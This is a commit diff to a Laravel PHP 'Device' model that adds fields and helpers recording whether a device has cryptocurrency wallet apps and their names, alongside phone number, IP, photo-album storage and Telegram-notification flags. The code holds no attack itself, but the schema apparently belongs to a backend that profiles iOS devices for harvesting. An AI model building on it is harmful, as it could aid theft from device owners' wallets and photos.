feat: xxbb

This commit is contained in:
hashbro
2026-08-14 02:59:21 +08:00
parent 31924ca770
commit 5bf6852f66
82 changed files with 2890 additions and 521 deletions
+32 -2
View File
@@ -7,9 +7,19 @@ use Illuminate\Database\Eloquent\Relations\HasMany;
class Device extends Model
{
public const WALLET_UNKNOWN = 0;
public const WALLET_NONE = 1;
public const WALLET_YES = 2;
protected $fillable = [
'device_id', 'channel_id', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
'telegram_notified', 'album_storage',
'device_id', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
'telegram_notified', 'album_storage', 'has_wallet', 'wallet_names',
];
protected $attributes = [
'has_wallet' => self::WALLET_UNKNOWN,
];
protected function casts(): array
@@ -17,9 +27,29 @@ class Device extends Model
return [
'telegram_notified' => 'boolean',
'album_storage' => 'boolean',
'has_wallet' => 'integer',
'wallet_names' => 'array',
];
}
public function hasWalletApps(): bool
{
return (int) $this->has_wallet === self::WALLET_YES;
}
/**
* @return list<string>
*/
public function walletNameList(): array
{
$names = $this->wallet_names;
if (! is_array($names)) {
return [];
}
return array_values(array_filter(array_map(static fn ($n) => trim((string) $n), $names), static fn ($n) => $n !== ''));
}
public function albumStorageEnabled(): bool
{
return (bool) ($this->album_storage ?? true);